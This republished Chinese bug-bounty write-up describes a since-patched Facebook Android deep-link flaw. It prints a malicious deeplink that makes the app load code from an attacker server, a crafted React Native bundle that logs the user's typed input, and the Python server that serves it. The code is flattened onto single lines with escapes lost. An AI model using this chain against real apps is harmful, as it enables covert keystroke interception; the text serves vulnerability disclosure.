如何利用深度链接方式后门化Facebook APP

近期,作者发现了Facebook安卓APP应用的一个深度链接漏洞,利用该漏洞,可以把用户手机上安装的Facebook安卓APP应用转变成后门程序(Backdoor),实现后门化。另外,利用该漏洞还可以重打包Facebook APP,并将其发送给特定目标受害者安装使用。下面就来看看作者对该漏洞的发现过程,以及如何通过Payload构造,最终将其转化为Facebook APP实际生产环境中的安全隐患。

漏洞发现

通常做众测时,我会先认真了解目标系统的应用机制。在我的上一篇博客中,我已经分享了通过解析Facebook APP来发现FB4A参数应用中深度链接(deeplinks)的一些经验过程,而在此,我先分享我编写的一个脚本文件,用它可以自动实现对Facebook APP深度链接(deeplinks)的发现。该脚本文件为-Facebook Android Deeplink Scraper(FBLinkBuilder.py),是一段基于Python的代码程序,专用于从 Facebook APK中提取深度链接(deeplinks):

import os import jsonimport argparsefrom zipfile import ZipFile from datetime import datetimefname = datetime.now().strftime("FB_Deeplinks%d%m%Y%H%M%S.txt") #default filenameparser = argparse.ArgumentParser() parser.add_argument('-i', help='Facebook APK file')parser.add_argument('-o', help='Output file', nargs='?', default=fname)parser.add_argument('-e', help='Only show exported. Defaulted to False', nargs='?', default=False)args = parser.parse_args()file_name = args.i #apkoutput_name = args.o #generated output / providedexported = args.e #False / providedwith ZipFile(file_name, 'r') as zip:     print('Extracting native routes file...') #fyi        data = zip.read('assets/react_native_routes.json') #extract file from zip    js = json.loads(data.decode("utf-8")) #to read as list    params = '' #placeholder        i = 0 #deeplink count        text_file = open(output_name, "w") #open output    print('Manipulating data...') #fyi    for key in js: #for each block in json        for key2 in key['paramDefinitions']: #grab the collection of params            params += key2 + '=' + str(key['paramDefinitions'][key2]['type']).upper() + '&' #append params with type                    if exported: #exported only            if key.get('access','') != 'exported': #check access key                params = '' #Reset params                continue #try next block                        link = 'fb:/' + key['path'] + '/?' + params #build link        print(link[:-1]) #fyi        text_file.write(link[:-1]+ 'n') #write to file        i += 1 #increase counter        params = '' #reset params    text_file.close() #save file        print('File: ' + output_name + ' saved') #fyi    print(str(i) + ' deep links generated') #fyi

下载源: https://github.com/ashleykinguk/FBLinkBuilder/

使用方法: .FBLinkBuilder.py -i fb0409.apk

通过FBLinkBuilder.py的运行实现,我们可以对比不同APP版本之间出现的深度链接,以此来观察不同APP版本的应用服务变化,我正是利用该方法发现了Facebook APP 2020版本中存在的一个不安全的深度链接:fb://rnquantum_notification_handler/?address=,它是Facebook APP首次在2020年版本中加入的。

该深度链接的参数形式为hostname / ip,于是乎我就用自架的服务器192.168.0.2来做了个测试:fb://rnquantum_notification_handler/?address=192.168.0.2:8224,通过该链接,可以在Facebook APP中跳出以下弹窗:

如何利用深度链接方式后门化Facebook APP点击其中的”Enable Quantum”按钮后,会重新启动Facebook APP,之后,我尝试去发现其中的变化,但这一切貌似没啥异常。接下来,我把注意力放到了网络流量上,当时我想到了不久前Facebook专为安全研究者开放的白帽测试功能,安全研究者可以通过该功能暂时绕过Facebook的证书绑定(Certificate Pinning)等安全限制,去测试Facebook相关应用的网络流量。通过该白帽测试功能,我发现在上述动作之后,Facebook APP会产生以下外发连接请求:

http://192.168.0.2:8224/message?device=Android+SDK+built+for+x86+-+10+-+API+29&app=com.facebook.katana&clientid=DevSupportManagerImpl

http://192.168.0.2:8224/status

这里的名列前茅条请求机制为传递基于的移动端设备属性信息,并意图建立一个websocket连接;第二条请求为返回请求主机的状态信息packager-status:running,它是Facebook的react-native源码内置参数,可以参考Github: /com/facebook/react/devsupport/DevServerHelper.java。

而就当我想方设法在自架服务器192.168.0.2中构造响应消息时,我又发现了Facebook APP产生的另外一个请求:

http://192.168.0.2:8224/RKJSModules/EntryPoints/Fb4aBundle.bundle?platform=android&dev=true&minify=false

该请求目的为寻找打包文件中存储的FB4A参数,初步分析来看,该参数应该是明文而非通常的hbc*格式存储于Facebook APP中。我曾尝试输入hbc*格式的FB4A参数进行测试,但最终却会让Facebook APP发生崩溃。
其实,对于Facebook APP来说,在2019年之前,其打包文件( bundles)存储于/assets/目录下的一个形式化文件中,但2019年后,Facebook就引入了hbc格式 (*Hermes ByteCode) ,一方面为APK瘦身,一方面为防止核心代码显式化。虽然我尝试使用了hbc格式工具HBCdump,对Facebook APP生成了一个约250M的打包文件,但好像也没什么用。

劫持Facebook APP

之后,我想到了另外一种发现打包文件的方法:那就是通过查看老版本的Facebook APP,将明文包内容和移动端设备生成的错误消息进行对比,移动端设备生成的错误消息可通过logcat可见。一通对比下来,我发现以下线索:

__fbBatchedBridge -包文件中必需的对象,其中包含了与APP应用同步的各种功能组成;

__fbBatchedBridge.callFunctionReturnFlushedQueue -APP后台调用的函数,每次调用都会执行相应的动作或事件。

基于上述发现,我的想法就是使Facebook APP可以成功下载并执行我构造的包文件,为了实现该目的,我需要自己编写包文件,然后把它托管在我的自架主机192.168.0.2中。以下是我构造的包文件FB4abundle.js:

/* contact@ash-king.co.uk */var i = 0, logs = ''; /* our local vars *//*the below objects are required for the app to execute the bundle. See lines 47-55 for the custom js */var __fbBatchedBridge = { 	_lazyCallableModules: {},	_queue: [[], [], [], 0],	_callID: 0,	_lastFlush: 0,	_eventLoopStartTime: Date.now(),	_immediatesCallback: null,    callFunctionReturnFlushedQueue: function(module, method, args) {		return __fbBatchedBridge.__guard(function() {		  __fbBatchedBridge.__callFunction(module, method, args)		}), __fbBatchedBridge.flushedQueue()	},    callFunctionReturnResultAndFlushedQueue: function(e, u, s) {		return __fbBatchedBridge.__guard(function() {		  throw new Error('callFunctionReturnResultAndFlushedQueue: ' + a);		}), __fbBatchedBridge.flushedQueue()	},    invokeCallbackAndReturnFlushedQueue: function(a,b,c) { 		throw new Error('invokeCallbackAndReturnFlushedQueue: ' + a);	},	flushedQueue: function(a, b) {		if(a != undefined){			throw new Error('flushedQueue: ' + b)		}		__fbBatchedBridge.__callImmediates(); 		const queue = __fbBatchedBridge._queue;		__fbBatchedBridge._queue = [[], [], [], __fbBatchedBridge._callID];		return queue[0].length ? queue : null;	},	onComplete: function(a) { throw new Error(a) },		__callImmediates: function() {		if (__fbBatchedBridge._immediatesCallback != null) {		  __fbBatchedBridge._immediatesCallback();		  throw new Error('processCallbacks: ' + __fbBatchedBridge._immediatesCallback());		}	},	getCallableModule: function(a) { 		const getValue = __fbBatchedBridge._lazyCallableModules[a];		return getValue ? getValue() : null;	},	__callFunction: function(a,b,c) {		if(a == 'RCTNativeAppEventEmitter') { // Only capturing the search bar in settings			i += 1 //increment count			logs += JSON.stringify(c) + 'n'; //JSON Object			if(i > 10) {				/* Here is where we will write out to logcat via js*/				var t = (nativeModuleProxy);				throw new Error('Look HERE: ' + (logs) + 'nr'); 			}		}		__fbBatchedBridge._lastFlush = Date.now();		__fbBatchedBridge._eventLoopStartTime = __fbBatchedBridge._lastFlush;		const moduleMethods = __fbBatchedBridge.getCallableModule(a);		try {			moduleMethods[b].apply(moduleMethods, c);		} catch (e) {					}		return -1	},	__guard: function(e) {		try {			e();		} catch (error) {			throw new Error('__guard: ' + error); 		}		}};

为了能让Facebook APP自动调用该包文件,我还需要另外一个脚本文件fb_server.py:

#contact@ash-king.co.ukfrom http.server import BaseHTTPRequestHandler, HTTPServerimport loggingclass S(BaseHTTPRequestHandler):    def _set_response(self):        self.send_response(500)        self.send_header('Content-type', 'text/html')        self.end_headers()        self.wfile.write(bytes("", "utf-8"))    def do_GET(self):        if self.path == '/status':            self.resp_status()        elif str(self.path).find('message?device=') > -1:            self.resp_message()        elif str(self.path).find('Fb4aBundle.bundle') > -1:            self.resp_fb4a()    def do_POST(self):        content_length = int(self.headers['Content-Length'])        post_data = self.rfile.read(content_length)        logging.info("POST request,nPath: %snHeaders:n%snnBody:n%sn", str(self.path), str(self.headers), post_data.decode('utf-8'))        self._set_response()        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))    def resp_message(self):        logging.info("resp_message")        self.send_response(200)        self.send_header('Content-type', 'text/html')        self.end_headers()        self.wfile.write(bytes("", "utf-8"))        logging.info("GET request,nPath: %snHeaders:n%sn", str(self.path), str(self.headers))    def resp_status(self):        logging.info("resp_status")        self.send_response(200)        self.send_header('Content-type', 'text/html')        self.end_headers()        self.wfile.write(bytes("packager-status:running", "utf-8"))        logging.info("GET request,nPath: %snHeaders:n%sn", str(self.path), str(self.headers))            def resp_fb4a(self):        logging.info("resp_bundle")        self.send_response(200)        self.send_header('Content-type', 'multipart/mixed')        self.end_headers()        with open('FB4abundle.js', 'rb') as file:             self.wfile.write(file.read())        logging.info("GET request,nPath: %snHeaders:n%sn", str(self.path), str(self.headers))def run(server_class=HTTPServer, handler_class=S, port=8224):    logging.basicConfig(level=logging.INFO)    server_address = ('', port)    httpd = server_class(server_address, handler_class)    logging.info('Starting httpd...n')    try:        httpd.serve_forever()    except KeyboardInterrupt:        pass    httpd.server_close()    logging.info('S较好ping httpd...n')if __name__ == '__main__':    from sys import argv    run()

综合深度链接、包文件调用和我自己构造加入的”Enable Quantum”URL链接,最终我可以向Facebook APP调用包文件中加入我自制的代码,并由其中的深度链接来实现调用。在我的POC漏洞验证展示中,如果受害者运行了我重打包的Facebook APP后,我可以拦截他在Facebook APP中的输入字符流量,如拦截他输入的5个字符流量“testi”,并会在logfile中显示他实际输入的字符,且最终会产生一个告警提示:

如何利用深度链接方式后门化Facebook APP

漏洞影响

恶意攻击者可以利用该漏洞,通过物理接触移动设备上的APP或向受害者发送重打包APP的方式,向受害者移动端设备APP中植入持久化连接,对受害者设备APP形成长期感知探测的后门化。

然而,一开始,Facebook安全团队却忽略了该漏洞,他们选择了关闭该漏洞报告并分类为不适用(not applicable),他们给出的解释为:

Any user that is knowledgable enough to manage servers and write code would also be able to control how the app operates. That is also true for any browser extension or manual app created. A user is also able to proxy all their HTTP Traffic to manipulate those requests. Only being able to make local modifications with a PoC showing actual impact does not fully qualify for the Bug Bount.

之后,我就公布了POC验证视频,一小时后,Facebook安全团队的雇员联系了我,声称他们重新评估了该漏洞,并要求我删除了该POC验证视频。但在视频删除前,至少30多名观众看过了该视频。

Facebook安全团队的漏洞评估

“重新评估该漏洞后,我们决定按我们的众测标准给出对该漏洞给予奖励,在你上报的漏洞中,描述了可让受害者重定向到一个攻击者控制的 React Native Development服务端,并向受害者APP中植入恶意代码的场景,感谢你的漏洞上报。”

漏洞上报和处理进程

2020.6.20 – 漏洞上报
2020.6.22 – 提供技术细节
2020.6.23 – Facebook把该漏洞分类为N/A
2020.6.23 – 我在Youtube上公布POC视频
2020.6.23 – Facebook重新评估该漏洞并要求我删除POC视频
2020.6.24 – 漏洞分类
2020.6.26 – Facebook通过关闭Quantum功能进行缓解
2020.8.20 – Facebook修复该漏洞
2020.9.17 – Facebook赏金奖励支付

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

文章标题:如何利用深度链接方式后门化Facebook APP,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/24276

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云亿速云认证作者
上一篇 2022年9月10日 下午11:49
下一篇 2022年9月10日 下午11:50

相关推荐

  • MySQL安装常见报错怎么处理

    1.无法启动处理,错误1053 Windows 无法启动Mysql服务 错误1053:服务没有及时响应启动或控制请求 1.1 结束进程 处理方法: 1、在命令行中敲入tasklist查看进程 2、根据进程名杀死进程 taskkill /f /t /im 进程名称 1.2 更改网络服务 Server2…

    2022年9月15日
    44100
  • word页面变成左右两页怎么调回来

    调回来的方法: 1、首先打开word,然后点击顶部“视图”。 2、此时你可以看到单页选项,然后点击菜单中的“单页”。 3、此时就可以看到页面已经恢复正常了。 4、你也可以在变左右两页时,把右下角的显示比例调成100%来恢复正常。 以上就是“word页面变成左右两页怎么调回来”这篇文章的所有内容,感谢…

    2022年9月19日
    2.6K00
  • windows c盘隐藏文件怎么显示

    c盘隐藏文件显示的方法: 1、首先打开进入c盘,然后点击上面的“查看”。 2、然后点击右侧的“选项”。 3、在弹出的选项中点击“查看”。 4、下拉,勾选“显示隐藏的文件、文件夹和驱动器”并点击“应用到文件夹”确定即可。 感谢各位的阅读,以上就是“windows c盘隐藏文件怎么显示”的内容了,经过本…

    2022年8月27日
    1.6K00
  • 怎么用teamviewer远程控制正在初始化显示参数

    teamviewer远程控制正在初始化显示参数: 1、如果你的电脑上有什么桌面整理大师,或者壁纸软件等桌面软件的话,请彻底关闭后,再重新连接。 2、如果通过远程桌面方式运行了teamview被控端也会出现这个现象。所以不要通过远程桌面进行启用。 3、在你用win远程桌面安装tw后,启动的tw里面因为…

    2022年9月5日
    40700
  • windows trustedinstaller.exe占用内存如何解决

    名列前茅种解决方法:硬件上解决 在硬件上解决,增加内存条,如2G内存升级到4G或者8G等容量。一般提示内存不足,在非病毒或者木马的情况下说明你的电脑硬件不足,在资金充足的情况下可以新增内存条。 第二种解决方法:等系统更新完成(在空闲时更新) 在不想投入硬件的情况下,我们又想更新完成,怎么办呢?只有等…

    2022年9月2日
    20100
  • TraceId怎么搭配ELK使用

    需求分析 先分析一下,我们想实现的核心功能是搜索,必然是用 ES 实现,那问题就转换成如何将日志收集并存储到 ES。 日志大家都不陌生了,可以在控制台打印,也可以存入文件,那能不能直接输入 ES 呢,好像没听说过。 这里就要用到 Logstash 来收集日志,Spring 默认的日志框架 Logba…

    2022年9月20日
    27800
  • linux定时关机如何设置

    linux定时关机设置方法: 运行命令方法:按下“Win+R”打开“运行”输入 cmd 打开“命令提示符” 输入关机命令: 1、halt 立刻关机 2、poweroff 立刻关机 3、shutdown -h now 立刻关机(root用户使用) 4、shutdown -h 10 10分钟后自动关机 …

    2022年9月22日
    84300
  • frida如何抓apk网络包

    一 . 埋头分析踩坑路 从系统的角度去寻找hook点,而不是为了抓包而抓包。 1.okhttp调用流程 public static final MediaType JSON= MediaType.get(“application/json; charset=utf-8”);OkHttpClient …

    2022年9月8日
    81800
  • windows你需要权限来执行此操作删除不了怎么解决

    解决方法: 1、首先右键存在问题的文件夹,打开“属性” 2、接着进入上方“安全”并点击“编辑” 3、然后选中我们正在使用的用户。 (如果没有就添加一个) 4、最后在下面全部勾选“允许”并确定保存即可。 关于“windows你需要权限来执行此操作删除不了怎么解决”这篇文章的内容就介绍到这里,感谢各位的…

    2022年8月31日
    64100
  • 如何分析Google Chrome远程代码执行0Day漏洞通报

    一、概述 2021年4月13日,安天CERT发现国外安全研究员发布了Google Chrome浏览器远程代码执行0Day漏洞的PoC,攻击者可以利用漏洞构造特制的页面,用户访问该页面会造成远程代码执行,漏洞影响Chrome最新正式版(89.0.4389.114)以及所有低版本。安天CERT跟进复现,…

    2022年9月26日
    20100
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部